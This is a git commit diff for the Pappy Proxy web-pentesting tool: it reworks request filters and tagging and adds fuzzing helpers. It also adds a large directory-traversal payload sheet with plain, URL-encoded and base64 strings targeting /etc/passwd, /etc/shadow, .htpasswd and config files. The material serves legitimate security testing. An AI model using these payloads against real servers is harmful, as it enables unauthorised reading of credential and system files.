Release 0.0.2

Soooo much stuff. Features, bugfixes, all that.
This commit is contained in:
Rob Glew 2015-12-28 22:38:17 -06:00
parent b9692b451e
commit f4bbd15c68
40 changed files with 6916 additions and 1209 deletions

View file

@ -70,22 +70,22 @@ class CommServer(LineReceiver):
@defer.inlineCallbacks
def action_get_request(self, data):
try:
reqid = int(data['reqid'])
reqid = data['reqid']
req = yield pappyproxy.http.Request.load_request(reqid)
except KeyError:
raise PappyException("Request with given ID does not exist")
req = yield pappyproxy.http.Request.load_request(reqid)
dat = json.loads(req.to_json())
defer.returnValue(dat)
@defer.inlineCallbacks
def action_get_response(self, data):
try:
reqid = int(data['reqid'])
reqid = data['reqid']
req = yield pappyproxy.http.Request.load_request(reqid)
except KeyError:
raise PappyException("Request with given ID does not exist, cannot fetch associated response.")
req = yield pappyproxy.http.Request.load_request(reqid)
if req.response:
rsp = yield pappyproxy.http.Response.load_response(req.response.rspid)
dat = json.loads(rsp.to_json())
@ -101,11 +101,11 @@ class CommServer(LineReceiver):
req.is_ssl = data['is_ssl']
except:
raise PappyException("Error parsing request")
req_sub = yield req.submit_self()
yield req_sub.deep_save()
yield req.async_submit()
yield req.async_deep_save()
retdata = {}
retdata['request'] = json.loads(req_sub.to_json())
if req_sub.response:
retdata['response'] = json.loads(req_sub.response.to_json())
retdata['request'] = json.loads(req.to_json())
if req.response:
retdata['response'] = json.loads(req.response.to_json())
defer.returnValue(retdata)

File diff suppressed because it is too large Load diff

View file

@ -1,7 +1,10 @@
from pappyproxy import http
from twisted.internet import defer
from util import PappyException
import crochet
import shlex
import datetime
import re
"""
@ -13,7 +16,40 @@ Functions and classes involved with managing the current context and filters
scope = []
base_filters = []
active_filters = []
active_requests = []
active_requests = set()
inactive_requests = set()
all_reqs = set()
in_memory_requests = set()
next_in_mem_id = 1
class BuiltinFilters(object):
_filters = {
'not_image': (
['path nctr "(\.png$|\.jpg$|\.gif$)"'],
'Filter out image requests',
),
'not_jscss': (
['path nctr "(\.js$|\.css$)"'],
'Filter out javascript and css files',
),
}
@staticmethod
def get(name):
if name not in BuiltinFilters._filters:
raise PappyException('%s not a bult in filter' % name)
if name in BuiltinFilters._filters:
return [Filter(f) for f in BuiltinFilters._filters[name][0]]
@staticmethod
def list():
return [k for k, v in BuiltinFilters._filters.iteritems()]
@staticmethod
def help(name):
if name not in BuiltinFilters._filters:
raise PappyException('%s not a bult in filter' % name)
return Filter(BuiltinFilters._filters[name][1])
class FilterParseError(PappyException):
pass
@ -27,6 +63,9 @@ class Filter(object):
def __call__(self, *args, **kwargs):
return self.filter_func(*args, **kwargs)
def __repr__(self):
return '<Filter "%s">' % self.filter_string
@staticmethod
def from_filter_string(filter_string):
args = shlex.split(filter_string)
@ -39,9 +78,6 @@ class Filter(object):
negate = True
relation = relation[1:]
# Raises exception if invalid
comparer = get_relation(relation)
if len(args) > 2:
val1 = args[2]
elif relation not in ('ex',):
@ -57,6 +93,9 @@ class Filter(object):
else:
comp2 = None
# Raises exception if invalid
comparer = get_relation(relation, val1)
if field in ("all",):
new_filter = gen_filter_by_all(comparer, val1, negate)
elif field in ("host", "domain", "hs", "dm"):
@ -69,7 +108,7 @@ class Filter(object):
new_filter = gen_filter_by_verb(comparer, val1, negate)
elif field in ("param", "pm"):
if len(args) > 4:
comparer2 = get_relation(comp2)
comparer2 = get_relation(comp2, val2)
new_filter = gen_filter_by_params(comparer, val1,
comparer2, val2, negate)
else:
@ -77,7 +116,7 @@ class Filter(object):
negate=negate)
elif field in ("header", "hd"):
if len(args) > 4:
comparer2 = get_relation(comp2)
comparer2 = get_relation(comp2, val2)
new_filter = gen_filter_by_headers(comparer, val1,
comparer2, val2, negate)
else:
@ -87,7 +126,7 @@ class Filter(object):
new_filter = gen_filter_by_raw_headers(comparer, val1, negate)
elif field in ("sentcookie", "sck"):
if len(args) > 4:
comparer2 = get_relation(comp2)
comparer2 = get_relation(comp2, val2)
new_filter = gen_filter_by_submitted_cookies(comparer, val1,
comparer2, val2, negate)
else:
@ -95,7 +134,7 @@ class Filter(object):
negate=negate)
elif field in ("setcookie", "stck"):
if len(args) > 4:
comparer2 = get_relation(comp2)
comparer2 = get_relation(comp2, val2)
new_filter = gen_filter_by_set_cookies(comparer, val1,
comparer2, val2, negate)
else:
@ -105,6 +144,10 @@ class Filter(object):
new_filter = gen_filter_by_response_code(comparer, val1, negate)
elif field in ("responsetime", "rt"):
pass
elif field in ("tag", "tg"):
new_filter = gen_filter_by_tag(comparer, val1, negate)
elif field in ("saved", "svd"):
new_filter = gen_filter_by_saved(comparer, val1, negate)
else:
raise FilterParseError("%s is not a valid field" % field)
@ -113,19 +156,16 @@ class Filter(object):
else:
raise FilterParseError("Error creating filter")
def filter_reqs(requests, filters):
to_delete = []
to_delete = set()
# Could definitely be more efficient, but it stays like this until
# it impacts performance
for filt in filters:
for req in requests:
for req in requests:
for filt in filters:
if not filt(req):
to_delete.append(req)
new_requests = [r for r in requests if r not in to_delete]
requests = new_requests
to_delete = []
return requests
to_delete.add(req)
requests = [r for r in requests if r not in to_delete]
return (requests, list(to_delete))
def cmp_is(a, b):
return str(a) == str(b)
@ -134,7 +174,7 @@ def cmp_contains(a, b):
return (b.lower() in a.lower())
def cmp_exists(a, b=None):
return (a is not None)
return (a is not None and a != [])
def cmp_len_eq(a, b):
return (len(a) == int(b))
@ -154,9 +194,18 @@ def cmp_gt(a, b):
def cmp_lt(a, b):
return (int(a) < int(b))
def cmp_containsr(a, b):
try:
if re.search(b, a):
return True
return False
except re.error as e:
raise PappyException('Invalid regexp: %s' % e)
def gen_filter_by_attr(comparer, val, attr, negate=False):
"""
NOINDEX
Filters by an attribute whose name is shared by the request and response
objects
"""
@ -222,7 +271,7 @@ def gen_filter_by_response_code(comparer, val, negate=False):
def gen_filter_by_path(comparer, val, negate=False):
def f(req):
result = comparer(req.path, val)
result = comparer(req.full_path, val)
if negate:
return not result
else:
@ -250,6 +299,35 @@ def gen_filter_by_verb(comparer, val, negate=False):
return f
def gen_filter_by_tag(comparer, val, negate=False):
def f(req):
result = False
for tag in req.tags:
if comparer(tag, val):
result = True
break
if negate:
return not result
else:
return result
return f
def gen_filter_by_saved(comparer, val, negate=False):
def f(req):
result = False
if req.saved:
result = comparer('true', val)
else:
result = comparer('false', val)
if negate:
return not result
else:
return result
return f
def check_repeatable_dict(d, comparer1, val1, comparer2=None, val2=None, negate=False):
result = False
for k, v in d.all_pairs():
@ -319,11 +397,11 @@ def gen_filter_by_set_cookies(keycomparer, keyval, valcomparer=None,
return f
def gen_filter_by_get_params(keycomparer, keyval, valcomparer=None, valval=None,
def gen_filter_by_url_params(keycomparer, keyval, valcomparer=None, valval=None,
negate=False):
def f(req):
matched = False
for k, v in req.get_params.all_pairs():
for k, v in req.url_params.all_pairs():
if keycomparer(k, keyval):
if not valcomparer:
matched = True
@ -362,7 +440,7 @@ def gen_filter_by_params(keycomparer, keyval, valcomparer=None, valval=None,
matched = False
# purposely don't pass negate here, otherwise we get double negatives
f1 = gen_filter_by_post_params(keycomparer, keyval, valcomparer, valval)
f2 = gen_filter_by_get_params(keycomparer, keyval, valcomparer, valval)
f2 = gen_filter_by_url_params(keycomparer, keyval, valcomparer, valval)
if f1(req):
matched = True
if f2(req):
@ -375,7 +453,7 @@ def gen_filter_by_params(keycomparer, keyval, valcomparer=None, valval=None,
return f
def get_relation(s):
def get_relation(s, val):
# Gets the relation function associated with the string
# Returns none if not found
if s in ("is",):
@ -383,21 +461,21 @@ def get_relation(s):
elif s in ("contains", "ct"):
return cmp_contains
elif s in ("containsr", "ctr"):
# TODO
raise PappyException("Contains (regexp) is not implemented yet. Sorry.")
validate_regexp(val)
return cmp_containsr
elif s in ("exists", "ex"):
return cmp_exists
elif s in ("Leq"):
elif s in ("Leq",):
return cmp_len_eq
elif s in ("Lgt"):
elif s in ("Lgt",):
return cmp_len_gt
elif s in ("Llt"):
elif s in ("Llt",):
return cmp_len_lt
elif s in ("eq"):
elif s in ("eq",):
return cmp_eq
elif s in ("gt"):
elif s in ("gt",):
return cmp_gt
elif s in ("lt"):
elif s in ("lt",):
return cmp_lt
raise FilterParseError("Invalid relation: %s" % s)
@ -409,27 +487,78 @@ def init():
@defer.inlineCallbacks
def reload_from_storage():
global active_requests
active_requests = yield http.Request.load_from_filters(active_filters)
global all_reqs
active_requests = set()
inactive_requests = set()
all_reqs = set()
reqs = yield http.Request.load_all_requests()
for req in reqs:
add_request(req)
def update_active_requests():
global active_requests
global all_reqs
inactive_requests = set()
active_requests = set()
for req in all_reqs:
add_request(req)
def add_filter(filt):
global active_requests
global active_filters
active_filters.append(filt)
active_requests = filter_reqs(active_requests, active_filters)
(active_requests, deleted) = filter_reqs(active_requests, active_filters)
for r in deleted:
inactive_requests.add(r)
def add_request(req):
global active_requests
global active_filters
global in_memory_requests
global all_reqs
# Check if we have to add it to in_memory
if not req.reqid:
req.reqid = get_memid()
if req.reqid[0] == 'm':
in_memory_requests.add(req)
# Check if we have to add it to active_requests
if passes_filters(req, active_filters):
active_requests.append(req)
active_requests.add(req)
else:
inactive_requests.add(req)
# Add it to all_reqs
all_reqs.add(req)
def remove_request(req):
global in_memory_requests
global inactive_requests
global active_requests
global all_reqs
if req in in_memory_requests:
in_memory_requests.remove(req)
if req in inactive_requests:
inactive_requests.remove(req)
if req in active_requests:
active_requests.remove(req)
if req in all_reqs:
all_reqs.remove(req)
def filter_recheck():
global active_requests
global active_filters
new_reqs = []
for req in active_requests:
global inactive_requests
global all_reqs
active_requests = set()
inactive_requests = set()
for req in all_reqs:
if passes_filters(req, active_filters):
new_reqs.append(req)
active_requests = new_reqs
active_requests.add(req)
else:
inactive_requests.add(req)
def passes_filters(request, filters):
for filt in filters:
@ -437,13 +566,6 @@ def passes_filters(request, filters):
return False
return True
def sort(key=None):
global active_requests
if key:
active_requests = sorted(active_requests, key=key)
else:
active_requests = sorted(active_requests, key=lambda r: r.reqid)
def in_scope(request):
global scope
return passes_filters(request, scope)
@ -457,12 +579,11 @@ def save_scope():
global scope
scope = active_filters[:]
@defer.inlineCallbacks
def reset_to_scope():
global active_filters
global scope
global active_filters
active_filters = scope[:]
yield reload_from_storage()
update_active_requests()
def print_scope():
global scope
@ -503,3 +624,51 @@ def load_scope(dbpool):
new_filter = Filter(row[1])
new_scope.append(new_filter)
scope = new_scope
def get_memid():
global next_in_mem_id
i = 'm%d' % next_in_mem_id
next_in_mem_id += 1
return i
@defer.inlineCallbacks
def clear_tag(tag):
# Remove a tag from every request
reqs = yield http.Request.load_requests_by_tag(tag)
for req in reqs:
req.tags.remove(tag)
if req.saved:
yield req.async_save()
filter_recheck()
@defer.inlineCallbacks
def async_set_tag(tag, reqs):
"""
async_set_tag(tag, reqs)
Remove the tag from every request then add the given requests to memory and
give them the tag.
"""
yield clear_tag(tag)
for req in reqs:
if not req.reqid:
req.reqid = get_memid()
req.tags.append(tag)
add_request(req)
@crochet.wait_for(timeout=180.0)
@defer.inlineCallbacks
def set_tag(tag, reqs):
yield async_set_tag(tag, reqs)
def validate_regexp(r):
try:
re.compile(r)
except re.error as e:
raise PappyException('Invalid regexp: %s' % e)
def filter_up():
# Deletes the last filter of the context
global active_filters
if active_filters:
active_filters = active_filters[:-1]
filter_recheck()

File diff suppressed because it is too large Load diff

60
pappyproxy/iter.py Normal file
View file

@ -0,0 +1,60 @@
import os
import itertools
from .config import PAPPY_DIR
def from_file(fname, intro=False):
# Ignores lines until the first blank line, then returns every non-blank
# line afterwards
full_fname = os.path.join(PAPPY_DIR, 'lists', fname)
with open(full_fname, 'r') as f:
d = f.read()
lines = d.splitlines()
# Delete until the first blank line
if intro:
while lines and lines[0] != '':
lines = lines[1:]
# Generate non-blank lines
for l in lines:
if l:
yield l
def fuzz_path_trav():
"""
Fuzz common values for path traversal.
"""
for l in from_file('path_traversal.txt', True):
yield l
def fuzz_sqli():
"""
Fuzz common values that could cause sql errors
"""
for l in from_file('fuzzdb/attack/sql-injection/detect/xplatform.fuzz.txt'):
yield l
def fuzz_xss():
"""
Fuzz values for finding XSS
"""
for l in from_file('fuzzdb/attack/xss/xss-rsnake.fuzz.txt'):
yield l
def common_passwords():
"""
List common passwords
"""
for l in from_file('fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
yield l
def common_usernames():
"""
List common usernames
"""
for l in from_file('fuzzdb/wordlists-user-passwd/names/namelist.txt'):
yield l
def fuzz_dirs():
for l in from_file('fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-small-directories.txt'):
yield l

@ -0,0 +1 @@
Subproject commit 3a35bfdcf5cbfc3598d5c21f7de78a3277b1b259

View file

@ -0,0 +1,806 @@
Via: http://www.vulnerability-lab.com/resources/documents/587.txt
________ .__ __ ___________ .__
\______ \ |__|______ ____ _____/ |_ ___________ ___.__. \__ ___/___________ ___ __ ___________ ___________ | |
| | \| \_ __ \_/ __ \_/ ___\ __\/ _ \_ __ < | | | | \_ __ \__ \\ \/ // __ \_ __ \/ ___/\__ \ | |
| ` \ || | \/\ ___/\ \___| | ( <_> ) | \/\___ | | | | | \// __ \\ /\ ___/| | \/\___ \ / __ \| |__
/_______ /__||__| \___ >\___ >__| \____/|__| / ____| |____| |__| (____ /\_/ \___ >__| /____ >(____ /____/
\/ \/ \/ \/ \/ \/ \/ \/
Information:
A lot of people asked us regarding our directory traversal pentest sheet for a fuzzer or own scripts. To have
some good results you can use the following list with automatic scripts, software or for manually pentesting. This
list goes out to all friends, nerds, pentester & exploiters. Please continue the List and we will update it soon.
Note: This is a technical attack sheet for directory traversal penetration tests.
/etc/master.passwd
/master.passwd
etc/passwd
etc/shadow%00
/etc/passwd
/etc/passwd%00
../etc/passwd
../etc/passwd%00
../../etc/passwd
../../etc/passwd%00
../../../etc/passwd
../../../etc/passwd%00
../../../../etc/passwd
../../../../etc/passwd%00
../../../../../etc/passwd
../../../../../etc/passwd%00
../../../../../../etc/passwd
../../../../../../etc/passwd%00
../../../../../../../etc/passwd
../../../../../../../etc/passwd%00
../../../../../../../../etc/passwd
../../../../../../../../etc/passwd%00
../../../../../../../../../etc/passwd
../../../../../../../../../etc/passwd%00
../../../../../../../../../../etc/passwd
../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../etc/passwd
../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../../../../../../../../../etc/shadow%00
../../../../../../etc/passwd&=%3C%3C%3C%3C
../../../administrator/inbox
../../../../../../../dev
.htpasswd
passwd
passwd.dat
pass.dat
.htpasswd
/.htpasswd
../.htpasswd
.passwd
/.passwd
../.passwd
.pass
../.pass
members/.htpasswd
member/.htpasswd
user/.htpasswd
users/.htpasswd
root/.htpasswd
db.php
data.php
database.asp
database.js
database.php
dbase.php
admin/access_log
../users.db.php
users.db.php
/core/config.php
config.php
config.js
../config.js
config.asp
../config.asp
_config.php
../_config.php
../_config.php%00
../config.php
config.inc.php
../config.inc.php
/config.asp
../config.asp
/../../../../pswd
/admin/install.php
../install.php
install.php
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow
..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd
..%2F..%2F..%2F%2F..%2F..%2Fetc/shadow
..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3NoYWRvdw==
m='../../../../../../../../etc/passwd';
/..\..\..\..\..\..\winnt\win.ini
../../windows/win.ini
..//..//..//..//..//boot.ini
..\../..\../boot.ini
..\../..\../..\../..\../boot.ini
\.....\\\.....\\\.....\\\
=3D "/.." . "%2f..
d:\AppServ\MySQL
c:\AppServ\MySQL
c:WINDOWS/system32/
/C:\Program Files\
/D:\Program Files\
/C:/inetpub/ftproot/
/boot/grub/grub.conf
/proc/interrupts
/proc/cpuinfo
/proc/meminfo
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
2fetc2fmaster.passwd
2fmaster.passwd
etc2fpasswd
etc2fshadow%00
2fetc2fpasswd
2fetc2fpasswd%00
..2fetc2fpasswd
..2fetc2fpasswd%00
..2f..2fetc2fpasswd
..2f..2fetc2fpasswd%00
..2f..2f..2fetc2fpasswd
..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fshadow%00
2fboot2fgrub2fgrub.conf
2fproc2finterrupts
2fproc2fcpuinfo
2fproc2fmeminfo
..2fapache2flogs2ferror.log
..2fapache2flogs2faccess.log
..2f..2fapache2flogs2ferror.log
..2f..2fapache2flogs2faccess.log
..2f..2f..2fapache2flogs2ferror.log
..2f..2f..2fapache2flogs2faccess.log
..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2facces_log
..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2facces.log
..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2ferror_log
..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2ferror.log
..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2faccess_log
..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2faccess.log
..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2faccess_ log
..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2faccess. log
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2faccess_log
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22faccess_log
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2faccess.log
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22faccess.log
..2f..2f..2f..2f..2f..2f..2fvar2flog2faccess_log
..2f..2f..2f..2f..2f..2f..2fvar2flog2faccess.log
..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2ferror_log
..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2ferror.log
..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2ferror_l og
..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2ferror.l og
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2ferror_log
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22ferror_log
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2ferror.log
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22ferror.log
..2f..2f..2f..2f..2f..2f..2fvar2flog2ferror_log
..2f..2f..2f..2f..2f..2f..2fvar2flog2ferror.log
2fetc2finit.d2fapache
2fetc2finit.d2fapache2
2fetc2fhttpd2fhttpd.conf
2fetc2fapache2fapache.conf
2fetc2fapache2fhttpd.conf
2fetc2fapache22fapache2.conf
2fetc2fapache22fhttpd.conf
2fusr2flocal2fapache22fconf2fhttpd.conf
2fusr2flocal2fapache2fconf2fhttpd.conf
2fopt2fapache2fconf2fhttpd.conf
2fhome2fapache2fhttpd.conf
2fhome2fapache2fconf2fhttpd.conf
2fetc2fapache22fsites-available2fdefault
2fetc2fapache22fvhosts.d2fdefault_vhost.include
2fetc2fpasswd
2fetc2fshadow
2fetc2fgroup
2fetc2fsecurity2fgroup
2fetc2fsecurity2fpasswd
2fetc2fsecurity2fuser
2fetc2fsecurity2fenviron
2fetc2fsecurity2flimits
2fusr2flib2fsecurity2fmkuser.default
L2V0Yy9tYXN0ZXIucGFzc3dk
L21hc3Rlci5wYXNzd2Q=
ZXRjL3Bhc3N3ZA==
ZXRjL3NoYWRvdyUwMA==
L2V0Yy9wYXNzd2Q=
L2V0Yy9wYXNzd2QlMDA=
Li4vZXRjL3Bhc3N3ZA==
Li4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
